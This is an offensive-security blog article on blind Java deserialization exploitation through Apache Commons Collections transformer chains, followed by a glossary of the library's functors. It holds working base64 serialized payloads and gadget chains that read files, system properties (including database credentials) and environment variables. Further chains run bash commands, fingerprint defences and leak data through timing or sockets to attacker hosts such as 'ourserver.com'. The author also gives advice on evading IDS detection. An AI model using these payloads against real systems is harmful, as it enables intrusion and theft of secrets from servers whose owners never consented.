TL;DR: Exploitation of Java Deserialization vulnerability in restricted environments (firewalled system, updated Java). Technique similar to blind SQL injection enables to extract data from the target system (read files, properties, env vars).

Parts:

  1. Introduction
  2. Sending data back from the victim
  3. Payload builder & exploitation
  4. Gadgets
    1. Terminating transformer chain
    2. Wrapping in collections
    3. Back connect gadgets
    4. Classloading gadgets
    5. File exists test
    6. String reading
    7. File reading
    8. Reading properties
    9. Reading environment variables
    10. OS detection
    11. Sending character over a socket
    12. SecurityManager
    13. Executing command, waiting for finish
  5. Conclusion

Introduction

Java Deserialization vulnerability is a very nice way to get Remote Code Execution (RCE) on the target system. ysoserial tool provides a lot of exploits that enable RCE via different paths/libraries. In this article I focus on Apache Commons library as it is very common.

There are 2 main Commons exploits classes (w.r.t. payload construction):

  • One uses javassist for payload construction. It takes Java code (payload) as a string, builds bytecode from it and constructs final serialized shellcode. This is a very strong approach as we can basically express every program with it (e.g., reverse shell). Unfortunately, if the system running the Java program is updated (Java), this method won’t work as essential classes do not allow bytecode execution anymore. I won’t go into these kind of exploits as it is easy to patch them. If they are not patched, you can build your own gadgets quite easily.

  • Another one uses a chain of Transformers - objects defined in Commons library, which can be leveraged to do RCE using reflection by crafting the chain. In this case we lose expressivity as the code being executed on the target machine has to be expressed via a chain of Transformers. Only a small subgroup of programs can be expressed using these gadgets. This makes building nice gadgets for this class of exploits challenging. Fortunately for us, it enables RCE - system command execution. In this article I focus on interesting gadgets one can construct using this method.

So if the server running the vulnerable Java server is updated (i.e., Java is updated), the first class of exploits won’t work. Well, we can still do RCE. A typical scenario would be to run reverse shell on the target machine, i.e., let vulnerable Java server connect to our server and execute all commands we send to it.

But what if the system is firewalled so well no outgoing connections can leave the vulnerable machine? Or if there are strong SecurityManager policies in place? Then we cannot communicate with the target system directly. RCE is nice but without communication we can hardly see the result of our payload being executed.

In that case we need to learn more information about the target system and find a way to send data back to us. For the communication we use covert channels as in the case of Blind SQL Injection.

Sending data back from the victim

If we are lucky enough, the target system shows us an error when we want it to show. Then we can construct payloads like:

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

This gives us 1 bit of information at a time. If the current user is the “root”, the page produces an Exception and we know the user. Otherwise the page loads normally.

If this is not the case and the server filters exceptions somehow, we can use the timing approach, which works very well but takes some time and is not 100% reliable.

if (System.getProperty("user.name").equals("root")){
    Thread.sleep(7000);
}

In this case the page loading sleeps for 7 seconds if the current user is root. sqlmap uses the same approach to read entire databases. It uses binary search on the characters to read the strings and send them to the attacker. E.g. the following code sleeps for 7 seconds if the first character is in the interval of a-j. We can learn the first character of the string in ceil(log(N)) queries where N is size of the alphabet. When using the printable ASCII alphabet with 101 characters, it’s 7 steps.

if (System.getProperty("user.name").substring(0, 1).matches("[a-j]")) {
    Thread.sleep(7000);
}

There are also problems with this method. If network connection is not good enough, it adds noise and some queries can be interpreted in a wrong way (i.e., the page did not sleep, but the loading still took a long time).

Payload builder & exploitation

It’s not necessary to understand the whole principle of Java Deserialization vulnerability in order to understand this article. For those unfamiliar with all the technical details it is safe to assume the upper payload is constructed (by ysoserial tool) in such a way the deserialization leads to executing the top Transformer object which is serialized in the payload. Transformers can contain other transformers and with this we construct a useful exploitation gadget. If you want to know more, I recommend Understanding ysoserial’s CommonsCollections1 exploit and What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

In this article we present ideas of exploitation in restricted environment. We state gadgets that we deem useful and that are possible to express in a chain of Transformers. The transformation of the code to the Transformer chain is demonstrated.

For practical demonstration of this blind approach see the part2 of our blogpost.

Gadgets

The sleep gadget is very nice to detect if the system is vulnerable to a given class of exploits. So instead of running calc.exe (as ysoserial uses for demo) we do Thread.sleep(7000);. If the system is vulnerable, the page sleeps for a while. Bam.

Gadget for sleep:

new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
        new Class[]{
                String.class, Class[].class
        },
        new Object[]{
                "sleep", new Class[]{Long.TYPE}
        }),
new InvokerTransformer("invoke",
        new Class[]{
                Object.class, Object[].class
        }, new Object[]
        {
                null, new Object[] {7000L}
        }),

Working payload for Commons1 exploit:

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAAAAG1h0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgARdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AFnB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==

Terminating the transformer chain

The Commons1 Transformer gadgets have a typical structure (by ysoserial):

doSomethingTransformer,
new ConstantTransformer(1)

The final ConstantTransformer causes an exception during deserialization (after our payload executes). You may want it like this. But if you want the page to load successfully in some cases, the exception is not desirable. The upper gadget layer expects a Set object (gets Integer - exception). To avoid the exception, the last chain should create a set instance:

new ConstantTransformer(java.util.HashSet.class),
new InvokerTransformer("newInstance",
        null, null )

Wrapping in collections

ysoserial tool generates payloads which, after deserialization, are seen as sun.reflect.annotation.AnnotationInvocationHandler. If you deserialize the example payload from the above, it will be of this type.

If your vulnerable application expects a collection, it usually throws ClassCastException. You can actually avoid this ClassCastException by wrapping the payload inside a collection to let the application feel OK and still execute our payload during deserialization.

For example if an application expects a List, we can construct a List and add the payload as another list element. It still gets executed, but without an exception being thrown (if we are lucky and the application ignores unknown elements).

rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF0AAtIZWxsbyB3b3JsZHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AAZzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AJAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ACRzcQB+ABx1cQB+ACEAAAACcHVxAH4AIQAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHEAfgADAAAAAAAAG1h0AAZpbnZva2V1cQB+ACQAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAhc3EAfgAXdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AHHB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AP3g=

The payload gets executed during deserialization. After that, the resulting type is LinkedList with contents: [1, Hello world, sun.reflect.annotation.AnnotationInvocationHandler@345dc05c].

It gets even better if the application serializes a Map (e.g., settings). You can sneak payload to the HashMap under a key the application does not use. In that case, the payload gets executed and the application does not throw an exception.

Our modified version of ysoserial demonstrates how to wrap payload in other structures.

Back connect gadgets

In order to test if the system is firewalled or if it is allowed to make connections to the internet we can construct the following gadget:

Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("ourserver.com", 80).sendUrgentData(0xdd);

Converted to Transformer chain:

new ConstantTransformer(Socket.class),
    new InvokerTransformer("getConstructor",
            new Class[]{
                    Class[].class
            },
            new Object[]{
                    new Class[] { String.class, Integer.TYPE }
            }),
    new InvokerTransformer("newInstance",
            new Class[]{
                    Object[].class
            },
            new Object[]{
                    new Object[] { host, port }
            }),
    new InvokerTransformer("sendUrgentData",
            new Class[]{
                    Integer.TYPE
            },
            new Object[]{
                    0xdd
            }),

With this gadget, we can send some static data to our server. On ourserver.com we trace incoming packets. If a new TCP connection from our target host is made with Urgent flag and 0xdd byte, we know the JVM is allowed to connect to the remote host.

The sendUrgentData part is optional. The firewall may be configured to drop/log Urgent data, so without the urgent data, we may avoid detection by the IDS. The socket should still make the TCP handshake - visible in packet trace.

It would also be nice to call the following gadget to write to the output stream directly:

Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("ourserver.com", 80).getOutputStream().write(0xdd);

But this is not possible due to the limitation of reflection invocation properties of InvokerTransformer. For more info why it’s not possible read this article till the end :) (TL;DR: the output stream returned is actually SocketOutputStream which is package-local - the write() method cannot be called this way).

Classloading gadgets

This very simple gadget tries to load a class defined by a fully specified class name. If the loading of such class ends with an exception, we know it was not found by the Classloader.

If a vulnerable app behaves differently on exception, it’s straightforward. Otherwise, we adapt the payload to Sleep after loading the class - if the class exists on the classpath, the exception is not thrown and Sleep will get executed.

Classloading gadget can be used to detect if a library is present on the system or to detect the major Java version running the application.

The gadget is:

Class.forName(className);

Translated to Transformer chains:

new ConstantTransformer(Class.class),
new InvokerTransformer("forName",
        new Class[]{
                String[].class
        },
        new Object[]{
                className
        })

With this we can check, for instance:

  • org.apache.commons.io.FileUtils for Apache commons-io
  • java.util.logging.SocketHandler should exist from Java 4. Has @since 1.4 annotation.
  • java.lang.ProcessBuilder for Java 5+
  • java.util.concurrent.LinkedBlockingDeque for Java 6+
  • java.util.concurrent.ConcurrentLinkedDeque for Java 7+
  • java.util.stream.Collectors for Java 8+

File exists test

This forms a predicate gadget, returning true if a file exists. Note the SecurityManager may be in place and the code can throw an exception - we will handle that later.

if (File.class.getConstructor(String.class).newInstance(path).exists()){
    Thread.sleep(7000);
}

After conversion to transformer chain:

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

This looks more complicated and consists of more sub-components. We created utility functions to make the gadget construction simpler, e.g., the sleeping gadget is an independent component and can be constructed by a dedicated method. For more see part2.

This construction can be easily generalized to a form if (predicate) do action where action can be

  • Thread.sleep(7000)
  • Throwing an exception
  • Connecting with the socket

There are more interesting methods returning boolean that can be used to leak something useful (e.g., canRead, canWrite, String methods).

String reading

Transformers cannot be used in such a way the result of the computation (i.e., a file read to string) is a parameter of the method. Thus it is not possible to read a file into string and send the whole string over a socket.

We can only call methods on the result. If it is a string, we can do:

  • string.isEmpty() predicate to test if the string is empty.
  • string.contains(staticString)
  • string.startsWith(staticString)
  • string.endsWith(staticString)
  • string.equals(staticString)
  • string.equalsIgnoreCase(staticString)
  • string.substring(0, x) for getting portion of the string or checking the string length. IndexOutOfBoundsException is thrown.
  • string.substring(x-1, x).matches("[a-j]") predicate for binary searching the x-th character.

The last one is a quite important gadget. With this, we can basically read all the strings but for that, we would need a tool that does the search on the fly - generates payloads and processes the results.

File reading

The following gadget reads the whole file into a string using a trick with Scanner:

String fileContents = new Scanner(new File("filename")).useDelimiter("\\Z").next();

Converted to transformer chain:

new ConstantTransformer(Class.class),
new InvokerTransformer("forName",
    new Class[]{
            String[].class
    },
    new Object[]{
            "java.util.Scanner"
    }),
new InstantiateTransformer(
        new Class[]{
                File.class
        },
        new Object[]{
                new File(path) // File is serializable
        }),
new InvokerTransformer("useDelimiter",
        new Class[]{
                String.class
        },
        new Object[]{
                "\\Z"
        }),
new InvokerTransformer("next",
        null,
        null)

The result is a string and we can call methods on it.

Reading properties

There can be a lot of interesting stuff stored in the properties - e.g., username & password to the database.

System.getProperty("spring.datasource.url");

Interesting properties (taken from SO01):

// Operating system name
System.getProperty("os.name");

// Operating system version
System.getProperty("os.version");

// Path separator character used in java.class.path
System.getProperty("path.separator");

// User working directory
System.getProperty("user.dir");

// User home directory
System.getProperty("user.home");

// User account name
System.getProperty("user.name");

// Operating system architecture
System.getProperty("os.arch");

// Sequence used by operating system to separate lines in text files
System.getProperty("line.separator");

// JRE version number
System.getProperty("java.version");

// JRE vendor URL
System.getProperty("java.vendor.url");

// JRE vendor name
System.getProperty("java.vendor");

// Installation directory for Java Runtime Environment (JRE)
System.getProperty("java.home");

// Class path - what other interesting libraries do we have?
System.getProperty("java.class.path");

(Conversion to transformer chain is a simple call of a static method - was demonstrated earlier, for more info see source codes)

Reading environment variables

The same holds for environment variables - also a valuable source of information.

System.getenv("PATH");

OS detection

Classical OS detection can be done via nmap

nmap targethost.com -O -v

But this scanning technique requires 1 open and 1 closed port to be reliable. Closed ports are a problem to get because firewalls often filter incoming requests - SYN packet is dropped.

System.getProperty("os.name").toLowerCase().startsWith("windows")
System.getProperty("os.name").toLowerCase().contains("mac")
System.getProperty("os.name").toLowerCase().contains("darwin")
System.getProperty("os.name").toLowerCase().contains("nux")
System.getProperty("os.name").toLowerCase().contains("sunos")

Another approach to OS detection (Windows vs. Linux vs. FreeBSD vs. MAC) is to check for the existence of files typically stored in differed locations on different systems, e.g., cmd.exe or ping, ifconfig, ipconfig, ip, telnet, netstat, … Typical locations the command can be stored:

/bin
/sbin
/usr/bin
/usr/sbin

Sending characters over a socket

Guessing string characters by binary search requires some queries to do. It would be much faster if we could send individual characters over the socket to our server, assuming the socket approach works - the system is not firewalled.

As mentioned above, it is not possible to use the result as a method parameter. We cannot construct a gadget which directly sends a character over the socket. To overcome this limitation we can use SwitchTransformer and hack it a bit with enumeration:

     if (inp.equals("\u0000")) sendTcp(host, port, 0x00)
else if (inp.equals("\u0001")) sendTcp(host, port, 0x01)
else if (inp.equals("\u0002")) sendTcp(host, port, 0x02)
  .
  .
  .
else if (inp.equals("\u007f")) sendTcp(host, port, 0x7f)
else                           sendTcp(host, port, 0xff) //unknown

We already know it’s possible to execute an action if a predicate is true. To combine more such blocks, SwitchTransformer can be used.

It’s reasonable to support only ASCII characters to keep the gadget size low. We use this anyway for dumping config files - should not contain UTF8 strings. Note this is code heavy, payload like this occupies quite a lot of space.

SecurityManager

Some methods may fail due to strict SecurityManager settings. But usually it is not possible to tell the Exceptions apart. To fingerprint the SecurityManager policy, we can directly check if the particular operation is permitted before actually executing it.

The following gadgets throw SecurityException if the given action is blocked by the policy.

// Is it allowed to connect to host:port?
System.getSecurityManager().checkConnect(host, port);

// Execute command
System.getSecurityManager().checkExec(command)

// File access
System.getSecurityManager().checkRead(file);
System.getSecurityManager().checkWrite(file);
System.getSecurityManager().checkDelete(file);

// Has access to the java package
System.getSecurityManager().checkPackageAccess(pkg);

// Has access to the System.getProperty(property)
System.getSecurityManager().checkPropertyAccess(property);

Executing command, waiting for finish

Since the expressive power of the transformer language is quite low, we can also use another approach - call shell commands and signalize result with sleep as we did with Thread.sleep().

For this it would be great to call:

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "something && sleep 7"}).waitFor();

Shell gives us full expressive power. Unfortunately waitFor cannot be called, because the exec() method returns package-local Process implementation which cannot be used with InvokerTransformer.

We can instead use the following hack to wait for a process to finish.

final String fname = "/tmp/.x" + Math.abs(rnd.nextInt());
final String[] exc = new String[] {"/bin/bash", "-c", "something && sleep 7; touch " + fname + "; sleep 2; /bin/rm " + fname};

It performs the computation (something) and the blind sleep technique to return the output. Then it creates a temporary file and deletes it after a while. The file signalizes to our waiting Java thread the task has finished. For this to work, we have to check if we are allowed to create and delete temporary files (SecurityManager, File.canWrite()).

If we are, it is still quite risky because it leaves traces. If something goes wrong, the files will be left on the system. We can try to delete them from time to time, but still…

Now we need a gadget that will sleep until it detects the temporary file our gadget created. For that we will make use of WhileClosure and ForClosure together with File existence predicate.

for(i=0; i<80; i++)
    while(!fileExists(fname)) Sleep(250);

The for loop is here to avoid infinite loop on the file check - it defines the maximum amount of time to wait for process to complete. If something goes wrong and the file does not get created, the application would freeze. We don’t want to DoS the application (yet) and attract attention. If the file gets created, the loop quickly finishes and the page blocking ends.

Conclusion

We aimed to demonstrate the exploitation in restricted environments with the use of blind technique, inspired by Blind SQL Injection attacks. With given gadgets it’s possible to gather interesting information about the target system and maybe mount another attacks which would not be possible via deserialization vulnerability otherwise.

We made utilities to generate the payloads and to test them before using them on real targets. This is especially useful to test blind techniques like string guessing with bisection. Our further work is to automate this exploitation technique in the same way as sqlmap does.

If you’d like to know more on gadget constructions and limitations, keep reading.

Digging deeper - Theory

In the following section we will take a closer look on gadget constructions and tool arsenal we can use for that.

Basic commons1 exploit chain

In order to understand how the gadgets are constructed and executed on the target machine, let’s go through the gadget taken from the ysoserial project - RCE.

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getMethod",
        new Class[] {
            String.class, Class[].class },
        new Object[] {
            "getRuntime", new Class[0] }),

    new InvokerTransformer("invoke",
        new Class[] {
            Object.class, Object[].class },
        new Object[] {
            null, new Object[0] }),

    new InvokerTransformer("exec",
        new Class[] {
            String[].class },
        new Object[] {
            new String[]{"/bin/bash", "-c", "sleep 5"} }),
        cmdType, execArgs),

    new ConstantTransformer(1) };

The code essentially aims to execute the following:

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sleep 5"});

This needs rewriting a bit because we cannot construct the gadget exactly like this. We need to use some Transformer from our toolbox to do the job. ConstantTransformer accepts a serializable object, so we initialize it with Runtime.class which is serializable. Then we can chain multiple invocations with InvokerTransformer

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"/bin/bash", "-c", "sleep 5"});

After translation to Transformer language, the final code that gets executed on the host looks like this:

// Constant transformer 1
Object input = Runtime.class;

// Invocation transformer 1
Class cls = input.getClass();
Method method = cls.getMethod("getMethod", String.class, Class[].class);
input = method.invoke(input, "getRuntime", new Class[0]);

// Invocation transformer 2
cls = input.getClass();
method = cls.getMethod("invoke", Object.class, Object[].class);
input = method.invoke(input, null, new Object[0]);

// Invocation transformer 3
cls = input.getClass();
method = cls.getMethod("exec", String[].class);
input = method.invoke(input, new Object[]{new String[]{"/bin/bash", "-c", "sleep 5"}});

Language and expressivity

There are 3 basic types of objects in the Commons language we can use to build our payload / gadgets.

  • Transformers
  • Predicates
  • Closures

Transformers

A Transformer (functor) converts the input object to the output object. The input object should be left unchanged. Transformers can be chained.

Standard implementations of common transformers are provided by TransformerUtils. These include method invocation, returning a constant, cloning and returning the string value.

package org.apache.commons.collections;
public interface Transformer {
    public Object transform(Object input);
}

List of the Transformers: ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer.

Predicates

A Predicate is the object equivalent of an if statement. Evaluates an expression on input object, returns true/false. Can be used in IfClosure, SwitchClosure, SwitchTransformer, WhileClosure.

Standard implementations of common predicates are provided by PredicateUtils. These include true, false, instanceof, equals, and, or, not, method invocation and null testing.

package org.apache.commons.collections;
public interface Predicate {
    public boolean evaluate(Object object);
}

List of the Predicates: TruePredicate, FalsePredicate, NotPredicate, AndPredicate, OrPredicate, AllPredicate, AnyPredicate, NonePredicate, OnePredicate, EqualPredicate, IdentityPredicate, InstanceofPredicate, NullPredicate, NotNullPredicate, NullIsExceptionPredicate, NullIsFalsePredicate, NullIsTruePredicate, ExceptionPredicate, TransformedPredicate, TransformerPredicate, UniquePredicate.

Closures

A Closure represents a block a code, takes input, produces nothing. Used in loops.

Standard implementations of common closures are provided by ClosureUtils. These include method invocation and for/while loops.

package org.apache.commons.collections;
public interface Closure {
    public void execute(Object input);
}

List of the Closures: ChainedClosure, ExceptionClosure, ForClosure, IfClosure, NOPClosure, SwitchClosure, TransformerClosure, WhileClosure.

Expressivity

Using the given tools we can construct chains which perform something actually useful.

Using ConstantTransformer and InvokerTransformer we can construct chains like this:

SerializableConstant.method1(const).method2(const)....methodN(const);

This is followed also by ysoserial exploit, very easy one. A few important things to notice:

Serializable static chain start

ConstantTransformer can accept only Serializable objects in order to work in payload. e.g., String, File, Class, Object[], Long, …

On the other hand, we can start with a different Transformer, e.g., InstantiateTransformer to create a new instance as a start of the chain.

Serializable static method arguments

Due to InvokerTransformer internal mechanism, we cannot pass the result of the computation as a method argument. All method arguments have to be also Serializable objects, created in time of payload generation. E.g., it is not possible to construct a gadget like: sendFile(readFile("/etc/passwd"));

Some methods cannot be called at all

For example it is not possible to do:

Runtime.getRuntime().exec(cmd).waitFor();

The reason is the returned object after exec(cmd) is expected to be a Process object according to the interface. Thus it should be possible to call waitFor method. But the real returned object is UNIXProcess (in my case) which is package local. InvokerTransformer essentially does:

Class cls = input.getClass(); // input instanceof UNIXProcess
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

Reflection call on the package local object fails, the method is not accessible. We could try to hack it with calling input.getMethod("waitFor).setAccessible(true) but then we would need to do waitForMethod.invoke(process) - object to call method on is the first argument of invoke method. But as we mentioned in the point above, we cannot pass results as arguments in our gadgets.

Closures and predicates

Using Closures and Predicates, we can do even more things and express complicated code paths. So far we called a method on a previously returned result. At some point we may need to call methods on the same object multiple times.

OutputStream os = Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("leakserver.com", 80).getOutputStream();
os.write(0x01);
os.write(0x23);
os.write(0x34);

As Closures accept input, process it and return the same input, we can use them for this. Note the result of Closure computation is ignored. The key part here is ClosureTransformer

<Constant>       -> Serializable (String, Integer, Long, File, Array, Class, ...)
<Int>            -> 0,1,2...
<Constant>       -> <Transformer>
<Transformer>    -> <Predicate>
<Transformer>    -> <Closure>
<Closure>        -> ;
<Closure>        -> <Closure> <Closure>
<Closure>        -> for(int i=0; i < <Int>; i++) { <Closure> }
<Closure>        -> while( <Predicate> ) { <Closure> }
<Closure>        -> do { <Closure> } while( <Predicate> )
<Closure>        -> if (<Predicate>) { <Closure> } else { <Closure> }
<Closure>        -> if (<Predicate>) { <Closure> } <Closure-Switch> else { <Closure> }
<Closure-Switch> -> else if (<Predicate>) { <Closure> } <Closure-Switch> | \eps

With closures we can express very simple branching and looping, it forms a simple language. Key components here are the conversion classes:

Predicates can be easily combined together in an intuitive way (not, or, and, for all).

Conclusion 2

That’s all for now on the gadget construction. If you happen to find another interesting gadget, leave us a note either on email or twitter, we will add it to the list.

Thanks for reading.

Glossary - how it works from the inside

Here follows the list of usable tools we can use in gadget construction in Apache Commons exploits. Only the core code is present for each one so one can quickly get the functionality of the component.

Package for all predicates, closures and transformers is org.apache.commons.collections.functors.

Predicate glossary

All predicates follow.

TruePredicate

public boolean evaluate(Object object) {
    return true;
}

FalsePredicate

public boolean evaluate(Object object) {
    return false;
}

NotPredicate

public boolean evaluate(Object object) {
    return !(iPredicate.evaluate(object));
}

AndPredicate

public boolean evaluate(Object object) {
   return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
}

OrPredicate

public boolean evaluate(Object object) {
   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));
}

AllPredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object) == false) {
            return false;
        }
    }
    return true;
}

AnyPredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            return true;
        }
    }
    return false;
}

NonePredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            return false;
        }
    }
    return true;
}

OnePredicate

public boolean evaluate(Object object) {
    boolean match = false;
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            if (match) {
                return false;
            }
            match = true;
        }
    }
    return match;
}

EqualPredicate

public boolean evaluate(Object object) {
    return (iValue.equals(object));
}

IdentityPredicate

public boolean evaluate(Object object) {
    return (iValue == object);
}

InstanceofPredicate

public boolean evaluate(Object object) {
    return (iType.isInstance(object));
}

NullPredicate

public boolean evaluate(Object object) {
    return (object == null);
}

NotNullPredicate

